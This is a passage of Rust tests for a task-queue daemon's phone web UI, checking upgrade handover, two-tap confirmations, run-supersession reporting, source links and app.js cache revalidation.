18200        successor.stop_loop(None, false).expect("stop");
18201    }
18202
18203    #[tokio::test]
18204    async fn a_second_upgrade_request_keeps_the_resume_intent() {
18205        let home = TempDir::new().expect("temp home");
18206        let ui = idle_ui(&home);
18207        ui.start_loop(None).expect("start");
18208        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
18209            .expect("first park");
18210        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
18211            .expect("second park");
18212        assert!(handed_over(&home, ui).await);
18213    }
18214
18215    #[tokio::test]
18216    async fn a_stop_during_the_handover_wait_is_honoured() {
18217        let home = TempDir::new().expect("temp home");
18218        let ui = idle_ui(&home);
18219        ui.start_loop(None).expect("start");
18220        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18221        ui.stop_loop(None, false).expect("stop");
18222        assert!(!handed_over(&home, ui).await);
18223    }
18224
18225    #[tokio::test]
18226    async fn an_idle_loop_stays_stopped_across_the_handover() {
18227        let home = TempDir::new().expect("temp home");
18228        let ui = idle_ui(&home);
18229        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18230        assert!(!handed_over(&home, ui).await);
18231
18232        let successor = idle_ui(&home);
18233        assert!(!successor.resume_after_handover(false));
18234        assert!(!successor.loop_view(None).running);
18235    }
18236
18237    #[tokio::test]
18238    async fn a_loop_the_operator_stopped_is_not_resumed() {
18239        let home = TempDir::new().expect("temp home");
18240        let ui = idle_ui(&home);
18241        ui.start_loop(None).expect("start");
18242        ui.stop_loop(None, false).expect("stop");
18243        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
18244        assert!(!handed_over(&home, ui).await);
18245    }
18246
18247    #[test]
18248    fn only_an_explicit_one_requests_a_resume() {
18249        assert!(!resume_requested(None));
18250        assert!(!resume_requested(Some("0".into())));
18251        assert!(!resume_requested(Some("".into())));
18252        assert!(resume_requested(Some("1".into())));
18253    }
18254
18255    #[test]
18256    fn the_upgrade_button_arms_before_it_restarts_anything() {
18257        // It ends the process the operator is talking to, and a phone in a
18258        // pocket taps things. One tap arms, the second commits.
18259        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
18260        assert!(APP_JS.contains("Replace the binary and restart?"));
18261        assert!(APP_JS.contains("function confirmed("));
18262        // Hidden when the loop is somebody else's, matching the 409 above -
18263        // and hidden with nothing to install, matching the 200 "already
18264        // current" branch: an operator on the newest build must not be
18265        // offered a restart that would only park a run for nothing.
18266        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
18267        // A park waits for the node in flight, up to an hour for an implement
18268        // wave. Leaving the button reading "Upgrading…" for that long is the
18269        // same mistake as an error rendered off screen: it looks wedged.
18270        assert!(
18271            APP_JS.contains("Parking, then restarting"),
18272            "the button says what it is waiting for"
18273        );
18274        // And nothing to install must give the button back rather than
18275        // pretending a restart is coming.
18276        assert!(APP_JS.contains("if (!out.to)"));
18277    }
18278
18279    #[test]
18280    fn stopping_the_loop_arms_but_starting_does_not() {
18281        // A stray tap must not leave the queue stopped overnight, so a stop is
18282        // two taps through the same helper the upgrade uses; a start stays one.
18283        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
18284        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
18285        assert!(APP_JS.contains("confirmed(button, question)"));
18286        // The label put back on timeout is the one saved when arming, not a
18287        // hard-coded upgrade caption that would rename the stop button.
18288        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
18289        assert!(APP_JS.contains("const label = btn.textContent;"));
18290        assert!(!APP_JS.contains("Neither direction is guarded"));
18291    }
18292
18293    #[test]
18294    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
18295        assert!(
18296            APP_JS.contains("state.health.version"),
18297            "the operator wants to know what is running even with nothing newer"
18298        );
18299        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
18300    }
18301
18302    #[test]
18303    fn the_upgrade_button_names_its_destination() {
18304        assert!(
18305            APP_JS.contains("`Update to ${update.to}`"),
18306            "pressing the button should not be a surprise about what it moves to"
18307        );
18308    }
18309
18310    #[test]
18311    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
18312        for stage in ["downloading", "replaced", "parking", "restarting"] {
18313            assert!(
18314                APP_JS.contains(&format!("\"{stage}\"")),
18315                "the phone must be able to tell {stage} apart from the others"
18316            );
18317        }
18318        assert!(APP_JS.contains(".waiting_on"));
18319        // What replaced the bare "Cannot reach magi: Failed to fetch": a
18320        // fetch failing while an upgrade is in flight is not an error, it is
18321        // the sub-second gap `bind_waiting` covers, and it must not be
18322        // reported as one.
18323        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
18324        assert!(APP_JS.contains("reconnects on its own"));
18325    }
18326
18327    #[test]
18328    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
18329        // `Stage::Failed` is terminal on the server and nothing clears it on
18330        // its own - not a fresh start, not time passing - so a full-strip
18331        // takeover for it (the way the busy stages take the strip over,
18332        // correctly, because those are transient) would have hidden
18333        // start/stop/park behind an upgrade notice with no way back short of
18334        // a person editing `upgrade.json` by hand or a later release
18335        // happening to succeed. The failure must instead ride along as a note
18336        // next to whatever control the loop's own state already offers.
18337        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
18338            ..APP_JS.find("function upgrade(").expect("upgrade")];
18339        assert!(
18340            !body.contains(
18341                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
18342            ),
18343            "a failed upgrade must not take the whole strip over the way it used to"
18344        );
18345        assert!(
18346            body.contains("upgradeFailNote"),
18347            "the failure has to reach the loop's own note instead"
18348        );
18349        // `quiet` and `control` are the only two places `loop-why` is set from
18350        // this function's own state; both must carry the note through, or a
18351        // future edit to either one would silently drop it again.
18352        assert_eq!(
18353            body.matches("upgradeFailNote].filter(Boolean).join")
18354                .count(),
18355            2,
18356            "both loop-why writers (quiet and control) must fold the note in"
18357        );
18358    }
18359
18360    #[test]
18361    fn an_overdue_upgrade_eventually_asks_for_a_human() {
18362        // The ceiling has to clear a full hour-long park with room to spare,
18363        // or an ordinary implement wave would be reported as a stuck upgrade.
18364        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
18365        assert!(APP_JS.contains("function upgradeOverdue("));
18366    }
18367
18368    #[test]
18369    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
18370        assert!(
18371            APP_JS.contains("Updated to ${upgradeInfo.to"),
18372            "the operator who asked for the restart wants to know it worked"
18373        );
18374    }
18375
18376    #[test]
18377    fn an_error_is_visible_from_where_the_button_is() {
18378        // The alert used to sit in the flow under the header. On a phone
18379        // scrolled 13 500 px down to a run's action sheet that is off screen,
18380        // so tapping Resume and being told "the loop is running run b455
18381        // right now" looked exactly like a button that did nothing.
18382        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
18383            ..APP_CSS.find(".alert-text").expect(".alert-text")];
18384        assert!(
18385            alert.contains("position: fixed"),
18386            "an error about the thing under your thumb has to be visible from \
18387             where your thumb is: {alert}"
18388        );
18389        assert!(
18390            alert.contains("z-index: 25"),
18391            "above the dock (20) and the run-actions FAB (15), so neither \
18392             buries it: {alert}"
18393        );
18394        assert!(
18395            alert.contains("var(--tap)"),
18396            "and clear of the dock and the home indicator: {alert}"
18397        );
18398        // The FAB sits at the same height on the right. An error that covered
18399        // it would hide the button the operator reaches for next.
18400        assert!(
18401            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
18402            "the FAB's column stays free: {alert}"
18403        );
18404    }
18405
18406    #[tokio::test]
18407    async fn an_older_attempt_says_what_replaced_it() {
18408        let fx = Fixture::start().await;
18409        let q = fx.queue();
18410        let runs = fx.runs();
18411        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18412        write_run(&runs, first, RunStatus::Stalled);
18413        write_run(&runs, second, RunStatus::Blocked);
18414
18415        let mut t = Task::new(
18416            "one task".to_owned(),
18417            "do it".to_owned(),
18418            PathBuf::from("/repo"),
18419            Source::Human,
18420        );
18421        t.runs = vec![first.to_owned(), second.to_owned()];
18422        q.put(&mut t).expect("put");
18423
18424        // Two cards with the same title and no hint which is which was the
18425        // question: "why are there two of the same, one stalled and one
18426        // blocked?" The older one now names its replacement.
18427        let rows = fx.get("/api/runs").await.json();
18428        let by = |short: &str| -> Value {
18429            rows.as_array()
18430                .unwrap()
18431                .iter()
18432                .find(|r| r["short"] == short)
18433                .cloned()
18434                .unwrap_or(Value::Null)
18435        };
18436        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
18437        assert!(
18438            by("bbbb")["superseded_by"].is_null(),
18439            "the latest attempt is not superseded by anything"
18440        );
18441        // Front end: the note has to be rendered, not just carried.
18442        assert!(APP_JS.contains("run.superseded_by"));
18443        assert!(APP_JS.contains("Superseded by"));
18444    }
18445
18446    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
18447        let mut t = Task::new(
18448            "one task".to_owned(),
18449            "do it".to_owned(),
18450            PathBuf::from("/repo"),
18451            Source::Human,
18452        );
18453        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
18454        t.status = status;
18455        t
18456    }
18457
18458    #[test]
18459    fn source_link_picks_the_page_that_filed_the_task() {
18460        let agent = |node: &str| Source::Agent {
18461            run: "20260904-014455-ab12".to_owned(),
18462            node: node.to_owned(),
18463        };
18464        let chat = source_link(&agent("chat")).expect("chat link");
18465        assert_eq!(chat.kind, "chat");
18466        assert_eq!(chat.id, "20260904-014455-ab12");
18467        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
18468        let run = source_link(&agent("implement")).expect("run link");
18469        assert_eq!(
18470            (run.kind, run.href.as_str()),
18471            ("run", "#/runs/20260904-014455-ab12")
18472        );
18473        assert_eq!(source_link(&Source::Human), None);
18474        assert_eq!(
18475            source_link(&Source::Issue {
18476                number: 3,
18477                repo: "o/r".to_owned()
18478            }),
18479            None
18480        );
18481        let odd = source_link(&Source::Agent {
18482            run: "a b/c".to_owned(),
18483            node: "chat".to_owned(),
18484        })
18485        .expect("link");
18486        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
18487    }
18488
18489    #[test]
18490    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
18491        assert!(
18492            !APP_JS.contains("src.node === \"chat\""),
18493            "inline href rule is back"
18494        );
18495        assert!(
18496            APP_JS.matches("sourceLinkOf(").count() >= 4,
18497            "helper must serve every page"
18498        );
18499        assert!(
18500            APP_JS.matches("openChatLink(").count() >= 3,
18501            "the run page still needs its explicit chat link"
18502        );
18503        assert!(
18504            !APP_JS.contains("const openChat = el("),
18505            "the Queue card duplicates its source label link again"
18506        );
18507        assert!(
18508            APP_JS.contains("metaKids.push(link ? el(\"a\""),
18509            "the task page must link a chat source label too"
18510        );
18511    }
18512
18513    #[test]
18514    fn task_ref_carries_the_source_link_for_a_chat_task() {
18515        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
18516        t.source = Source::Agent {
18517            run: "20260904-014455-ab12".to_owned(),
18518            node: "chat".to_owned(),
18519        };
18520        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
18521        let v = serde_json::to_value(&out).expect("json");
18522        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
18523        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
18524        assert_eq!(v["source_label"], t.source.label());
18525
18526        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
18527        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
18528            .expect("json");
18529        assert!(v["source_link"].is_null(), "{v}");
18530    }
18531
18532    #[test]
18533    fn task_view_serializes_source_link() {
18534        let mut t = Task::new(
18535            "t".to_owned(),
18536            "t".to_owned(),
18537            PathBuf::from("/repo"),
18538            Source::Agent {
18539                run: "20260901-000000-aaaa".to_owned(),
18540                node: "implement".to_owned(),
18541            },
18542        );
18543        t.runs.clear();
18544        let v = serde_json::to_value(TaskView::from(t)).expect("json");
18545        assert_eq!(v["source_link"]["kind"], "run", "{v}");
18546        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
18547    }
18548
18549    #[test]
18550    fn task_view_serializes_urgent_flag() {
18551        let mut t = Task::new(
18552            "t".to_owned(),
18553            "t".to_owned(),
18554            PathBuf::from("/repo"),
18555            Source::Human,
18556        );
18557        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
18558        assert_eq!(v["urgent"], false, "{v}");
18559        t.urgent = true;
18560        let v = serde_json::to_value(TaskView::from(t)).expect("json");
18561        assert_eq!(v["urgent"], true, "{v}");
18562        assert!(APP_JS.contains("task.urgent === true"));
18563    }
18564
18565    #[tokio::test]
18566    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
18567        let fx = Fixture::start().await;
18568        let runs = fx.runs();
18569        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18570        write_run(&runs, old, RunStatus::Blocked);
18571        write_run(&runs, new, RunStatus::Merged);
18572        let mut t = outcome_task(&[old, new], TaskStatus::Done);
18573        fx.queue().put(&mut t).expect("put");
18574
18575        let view = fx.get(&format!("/api/runs/{old}")).await.json();
18576        let task = &view["task"];
18577        assert_eq!(task["status"], "done");
18578        assert_eq!(task["is_latest"], false);
18579        assert_eq!(task["latest"]["short"], "bbbb");
18580        assert_eq!(task["finished_by"]["id"], new);
18581        assert_eq!(task["finished_by"]["outcome"], "merged");
18582        assert_eq!(task["closed_by_hand"], false);
18583        assert_eq!(view["status"], "blocked", "the run keeps its own status");
18584        assert!(APP_JS.contains("finished_by"));
18585        assert!(APP_JS.contains("superseded by run"));
18586    }
18587
18588    #[tokio::test]
18589    async fn the_latest_run_reports_a_held_task_without_a_successor() {
18590        let fx = Fixture::start().await;
18591        let runs = fx.runs();
18592        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
18593        write_run(&runs, old, RunStatus::Stalled);
18594        write_run(&runs, new, RunStatus::Blocked);
18595        let mut t = outcome_task(&[old, new], TaskStatus::Held);
18596        fx.queue().put(&mut t).expect("put");
18597
18598        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
18599        assert_eq!(task["status"], "held");
18600        assert_eq!(task["is_latest"], true);
18601        assert!(task["latest"].is_null());
18602        assert!(task["finished_by"].is_null());
18603        assert_eq!(task["closed_by_hand"], false);
18604    }
18605
18606    #[tokio::test]
18607    async fn a_direct_run_has_no_task_outcome() {
18608        let fx = Fixture::start().await;
18609        let runs = fx.runs();
18610        let id = "20260901-000000-aaaa";
18611        write_run(&runs, id, RunStatus::Blocked);
18612        let view = fx.get(&format!("/api/runs/{id}")).await.json();
18613        assert!(view["task"].is_null());
18614    }
18615
18616    #[test]
18617    fn task_outcome_does_not_guess_a_finishing_run() {
18618        let a = "20260901-000000-aaaa";
18619        let b = "20260901-000000-bbbb";
18620        let c = "20260901-000000-cccc";
18621        let dir = tempfile::tempdir().expect("tempdir");
18622        write_run(dir.path(), a, RunStatus::Blocked);
18623        write_run(dir.path(), b, RunStatus::VerifiedNoop);
18624        // `c` has no record: unreadable.
18625        let read = |id: &str| read_run(dir.path(), id).ok();
18626        // Neither a blocked run nor a no-op finished the task; the newest run is
18627        // unreadable and still named.
18628        let t = outcome_task(&[a, b, c], TaskStatus::Done);
18629        let out = task_outcome(&t, a, 3, read);
18630        assert!(out.finished_by.is_none());
18631        assert!(out.closed_by_hand);
18632        let latest = out.latest.expect("latest");
18633        assert_eq!(latest.id, c);
18634        assert_eq!(latest.status, None);
18635        assert_eq!(latest.outcome, "record unreadable");
18636
18637        // A Ready run settles the task as done, so it is named as the finisher.
18638        write_run(dir.path(), c, RunStatus::Ready);
18639        let t = outcome_task(&[a, c], TaskStatus::Done);
18640        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
18641        assert_eq!(out.finished_by.expect("finisher").id, c);
18642        assert!(!out.closed_by_hand);
18643
18644        // A resumed run id repeats: it is still the latest by id.
18645        let t = outcome_task(&[a, b, a], TaskStatus::Held);
18646        assert!(task_outcome(&t, a, 3, read).is_latest);
18647    }
18648
18649    #[tokio::test]
18650    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
18651        // The list route has known this since the card fix above; the detail
18652        // route — what an operator actually opens from a notification about
18653        // a blocked run — did not, and went on showing a bare red BLOCKED
18654        // chip for a run a retry had already finished.
18655        let fx = Fixture::start().await;
18656        let q = fx.queue();
18657        let runs = fx.runs();
18658        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
18659        write_run(&runs, first, RunStatus::Blocked);
18660        write_run(&runs, second, RunStatus::Merged);
18661
18662        let mut t = Task::new(
18663            "one task".to_owned(),
18664            "do it".to_owned(),
18665            PathBuf::from("/repo"),
18666            Source::Human,
18667        );
18668        t.runs = vec![first.to_owned(), second.to_owned()];
18669        q.put(&mut t).expect("put");
18670
18671        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
18672        assert_eq!(earlier["superseded_by"], "dddd");
18673        assert_eq!(earlier["latest_attempt"]["id"], second);
18674        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
18675        assert_eq!(
18676            earlier["latest_attempt"]["resolved"], true,
18677            "the run that replaced it landed, so this one reads as settled"
18678        );
18679
18680        let later = fx.get(&format!("/api/runs/{second}")).await.json();
18681        assert!(
18682            later["superseded_by"].is_null(),
18683            "the latest attempt is not superseded by anything"
18684        );
18685        assert!(
18686            later["latest_attempt"].is_null(),
18687            "the latest attempt has no later attempt of its own"
18688        );
18689
18690        // Front end: the detail page has to read the field this route now
18691        // carries, downgrade the chip, and link to the run that replaced it —
18692        // not just repeat the list card's own logic under a different name.
18693        // The link is built off `latest_attempt.id`, the server-resolved
18694        // full id, never a bare short string a client would have to guess a
18695        // full run from.
18696        assert!(APP_JS.contains("run.latest_attempt"));
18697        assert!(APP_JS.contains("data-superseded"));
18698        assert!(APP_JS.contains("#/runs/${latest.id}"));
18699    }
18700
18701    #[tokio::test]
18702    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
18703        // A -> B -> C, all Blocked except the last. A's immediate successor
18704        // (superseded_by) is B, which is itself unresolved; what an operator
18705        // opening A's page actually needs is where the task's story stands
18706        // *now* - C, not B - without depending on whether C happens to be in
18707        // whatever page of /api/runs the client last cached.
18708        let fx = Fixture::start().await;
18709        let q = fx.queue();
18710        let runs = fx.runs();
18711        let (a, b, c) = (
18712            "20260901-000000-aaaa",
18713            "20260901-000000-bbbb",
18714            "20260901-000000-cccc",
18715        );
18716        write_run(&runs, a, RunStatus::Blocked);
18717        write_run(&runs, b, RunStatus::Blocked);
18718        write_run(&runs, c, RunStatus::Merged);
18719
18720        let mut t = Task::new(
18721            "retried twice".to_owned(),
18722            "do it".to_owned(),
18723            PathBuf::from("/repo"),
18724            Source::Human,
18725        );
18726        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
18727        q.put(&mut t).expect("put");
18728
18729        let view = fx.get(&format!("/api/runs/{a}")).await.json();
18730        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
18731        assert_eq!(
18732            view["latest_attempt"]["id"], c,
18733            "the chain's current head, not the intermediate Blocked retry"
18734        );
18735        assert_eq!(view["latest_attempt"]["resolved"], true);
18736
18737        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
18738        assert_eq!(mid["latest_attempt"]["id"], c);
18739        assert_eq!(mid["latest_attempt"]["resolved"], true);
18740    }
18741
18742    #[tokio::test]
18743    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
18744        let fx = Fixture::start().await;
18745        let q = fx.queue();
18746        let runs = fx.runs();
18747
18748        // Still Blocked: the task is not resolved, so the older run must not
18749        // read as settled either.
18750        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
18751        write_run(&runs, still_blocked_a, RunStatus::Blocked);
18752        write_run(&runs, still_blocked_b, RunStatus::Blocked);
18753        let mut t1 = Task::new(
18754            "still stuck".to_owned(),
18755            "do it".to_owned(),
18756            PathBuf::from("/repo"),
18757            Source::Human,
18758        );
18759        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
18760        q.put(&mut t1).expect("put");
18761        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
18762        assert_eq!(view1["latest_attempt"]["resolved"], false);
18763        assert_eq!(view1["latest_attempt"]["status"], "blocked");
18764        assert_eq!(view1["latest_attempt"]["done"], true);
18765
18766        // Still running: the successor exists and must be reported as such.
18767        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
18768        write_run(&runs, run_a, RunStatus::Blocked);
18769        write_run(&runs, run_b, RunStatus::Implementing);
18770        let mut t3 = Task::new(
18771            "retrying".to_owned(),
18772            "do it".to_owned(),
18773            PathBuf::from("/repo"),
18774            Source::Human,
18775        );
18776        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
18777        q.put(&mut t3).expect("put");
18778        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
18779        assert_eq!(view3["latest_attempt"]["id"], run_b);
18780        assert_eq!(view3["latest_attempt"]["resolved"], false);
18781        assert_eq!(view3["latest_attempt"]["done"], false);
18782
18783        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
18784        // to check - not a confirmed finish, so this must not read as
18785        // resolved either, even though the run is done in the sense that
18786        // nothing is still running.
18787        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
18788        write_run(&runs, noop_a, RunStatus::Blocked);
18789        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
18790        let mut t2 = Task::new(
18791            "claims done".to_owned(),
18792            "do it".to_owned(),
18793            PathBuf::from("/repo"),
18794            Source::Human,
18795        );
18796        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
18797        q.put(&mut t2).expect("put");
18798        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
18799        assert_eq!(
18800            view2["latest_attempt"]["resolved"], false,
18801            "an unverified no-op claim must not read as a confirmed finish"
18802        );
18803
18804        // Front end: an unresolved successor must not carry the "finished
18805        // this work" note or the muted chip treatment.
18806        assert!(APP_JS.contains("latest.resolved"));
18807        // ...but the link to it shows as soon as it exists, labelled by state
18808        // and without the "finished" wording or the muted chip.
18809        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
18810        assert!(APP_JS.contains("Latest attempt: "));
18811        assert!(APP_JS.contains("in flight"));
18812        assert!(APP_JS.contains("not resolved"));
18813    }
18814
18815    #[tokio::test]
18816    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
18817        let fx = Fixture::start().await;
18818        // No cache header at all meant browsers invented their own policy,
18819        // and one did: a phone went on showing "Candidates must be folded
18820        // before deleting. Run `magi fold` first." - deleted two releases
18821        // earlier - from a deck that no longer contained the sentence. The
18822        // button it named was right there, and unreachable.
18823        let js = fx.get("/app.js").await;
18824        assert_eq!(js.status, 200);
18825        let tag = js
18826            .header("etag")
18827            .expect("an etag to revalidate against")
18828            .to_owned();
18829        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
18830        assert_eq!(
18831            js.header("cache-control"),
18832            Some("no-cache, must-revalidate"),
18833            "the phone has to ask every time"
18834        );
18835
18836        // And the asking has to be cheap, or `must-revalidate` just means
18837        // "send the whole interface on every load".
18838        let again = fx
18839            .get_with("/app.js", &[("if-none-match", tag.as_str())])
18840            .await;
18841        assert_eq!(
18842            again.status, 304,
18843            "a deck it already has costs one round trip"
18844        );
18845        assert!(again.body.is_empty(), "304 carries no body");
18846
18847        // A weakened tag from a proxy still matches; a different build does
18848        // not, which is the case that has to deliver the new interface.
18849        let weak = fx
18850            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
18851            .await;
18852        assert_eq!(weak.status, 304);
18853        let stale = fx
18854            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
18855            .await;
18856        assert_eq!(stale.status, 200, "an older build must be replaced");
18857        assert!(stale.body.contains("renderRunActions"));
18858    }
18859
18860    #[test]
18861    fn the_task_detail_has_an_actions_fab_and_sheet() {
18862        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
18863        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
18864        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
18865        // Shown only on the task route, closed everywhere else.
18866        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
18867        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
18868        // Refreshed whenever the detail redraws, including the loading state.
18869        assert!(APP_JS.contains("renderTaskActions(task);"));
18870        assert!(APP_JS.contains("renderTaskActions(null);"));
18871        // Same renderers and routes as the Queue card, no new endpoint.
18872        let sheet = APP_JS
18873            .find("function renderTaskActions")
18874            .expect("sheet renderer");
18875        let body = &APP_JS[sheet..sheet + 3000];
18876        assert!(body.contains("changePriority("));
18877        assert!(body.contains("openTaskEdit(task)"));
18878        assert!(body.contains("renderTaskHoldBox(host"));
18879        assert!(body.contains("renderTaskDoneBox(host"));
18880        assert!(body.contains("renderTaskDeleteBox(host"));
18881        assert!(APP_JS.contains("API.priority(id)"));
18882        assert!(APP_JS.contains("API.deleteTask(id)"));
18883        // A deleted task sends the operator back to the queue.
18884        assert!(APP_JS.contains("location.hash = \"#/queue\""));
18885        // A refusal is shown inside the sheet.
18886        assert!(APP_JS.contains("$(\"task-actions-error\")"));
18887    }
18888
18889    #[test]
18890    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
18891        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
18892        let actions = INDEX_HTML
18893            .find("id=\"run-actions-box\"")
18894            .expect("actions box");
18895        assert!(task < actions, "the task entry comes first in the sheet");
18896        assert!(APP_JS.contains("renderRunTaskEntry"));
18897        assert!(APP_JS.contains("\"Open task \""));
18898        // A run without a task says why there is nothing to open.
18899        assert!(APP_JS.contains("started directly, no task"));
18900        assert!(APP_JS.contains("sheet-task-link"));
18901        assert!(APP_JS.contains("task-chip-link"));
18902    }
18903
18904    #[test]
18905    fn the_deck_never_sends_the_operator_to_a_terminal() {
18906        // The whole point of the phone UI is that a terminal is not needed.
18907        // The delete control used to answer with "Run `magi fold` first."
18908        assert!(
18909            !APP_JS.contains("Run `magi fold` first"),
18910            "the deck must offer the fold, not prescribe a shell command"
18911        );
18912        assert!(APP_JS.contains("foldRun:"));
18913        assert!(APP_JS.contains("resumeRun:"));
18914        assert!(APP_JS.contains("renderRunActions"));
18915
18916        // Folding is destructive and armed in two steps, like deleting.
18917        assert!(APP_JS.contains("armedFold"));
18918        assert!(APP_JS.contains("Yes, fold worktrees"));
18919
18920        // And the copy has to say that the two actions are opposites, because
18921        // folding throws away exactly what a resume would continue from.
18922        assert!(APP_JS.contains("can no longer be resumed"));
18923    }
18924
18925    #[test]
18926    fn a_finished_run_explains_itself_with_its_own_last_line() {
18927        // The deck used to answer "why did this stop?" with a sentence chosen
18928        // by status alone. Run e633 stalled because two judges answered with
18929        // the wrong JSON shape and its card said "The panel collapsed on
18930        // agent quota" - with `quota: []` in the record and a quota-loss
18931        // counter right above it that correctly said nothing.
18932        assert!(
18933            !APP_JS.contains("collapsed on agent quota"),
18934            "a stall must not be explained by a cause the deck did not check"
18935        );
18936        assert!(
18937            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
18938            "and a block must not offer a guess with an `or` in it"
18939        );
18940
18941        // The reason it does have is `run.event`, which must reach finished
18942        // runs: gating it on movement hid the recorded truth at the one moment
18943        // the operator is reading the card to find out what happened.
18944        assert!(
18945            APP_JS.contains("setText(r.event, run.event || \"\")"),
18946            "the run's last line is rendered unconditionally"
18947        );
18948        assert!(
18949            !APP_JS.contains("moving && run.event"),
18950            "and never gated on the run still moving"
18951        );
18952
18953        // Quota keeps its own counter, fed by the number actually recorded.
18954        assert!(APP_JS.contains("lost to quota"));
18955    }
18956
18957    /// The runs tree (section) and the state chips (waiting/done) are two
18958    /// independent lenses ANDed together in `renderRuns`, and some pairings
18959    /// can never both be true for any run - every "Landed"/"Ended" run is
18960    /// done by construction, so pairing either with "Active" or "In flight"
18961    /// always rendered zero cards with the filter bar still claiming
18962    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
18963    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
18964    /// a handful of (waiting, status) shapes standing in for the run
18965    /// lifecycle, because `cargo test` cannot execute the front end.
18966    ///
18967    /// That stand-in list is itself the part that drifted twice in review:
18968    /// once shipped with `waiting: true` paired with a done status the
18969    /// lifecycle cannot produce, then over-corrected into treating every
18970    /// waiting run as never done - which made "Waiting on you" look
18971    /// incompatible with "Done" even for the one real, reachable shape
18972    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
18973    /// that combination. This test parses the shapes and the done-rule back
18974    /// out of `APP_JS`, reimplements `runSection` and the five state
18975    /// predicates independently in Rust, and checks the resulting
18976    /// section/filter compatibility table against the lifecycle rules by
18977    /// hand - so either direction of drift fails it again.
18978    #[test]
18979    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
18980        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
18981        let shapes_body_start =
18982            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
18983        let shapes_close = APP_JS[shapes_body_start..]
18984            .find("].map(")
18985            .expect("the shape list is closed by its done-computing .map(...)")
18986            + shapes_body_start;
18987        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
18988
18989        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
18990        for entry in shapes_src.split('{').skip(1) {
